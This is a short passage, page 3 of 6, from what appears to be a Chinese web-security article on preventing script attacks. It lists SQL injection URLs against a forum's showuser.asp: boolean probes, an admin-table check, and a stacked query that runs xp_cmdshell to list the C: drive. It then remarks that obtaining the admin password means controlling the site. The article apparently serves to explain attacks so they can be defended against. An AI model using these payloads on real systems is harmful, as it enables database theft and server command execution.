网页脚本攻击防范全攻略3

　　http://127.0.0.1/forum/showuser.asp?id=999 and 1=1
　　http://127.0.0.1/forum/showuser.asp?id=999 and 1=2
　　http://127.0.0.1/forum/showuser.asp?id=999 and 0＜＞(select count(*) from admin)
　　http://127.0.0.1/forum/showuser.asp?id=999’; declare @a sysname set @a=’xp_’+ ’cmdshell’ exec @a ’dir c:\’---&aid=9

　　得到了管理员的密码也就意味着已经控制的整站，虽然不一定能得到主机的权限，但也为这一步做了很大的铺垫。类似的SQL Injection攻

页码：[1] [2] [3] [4] [5] [6] 第3页、共6页

设为首页 | 加入收藏 | 广告服务 | 友情链接 | 版权申明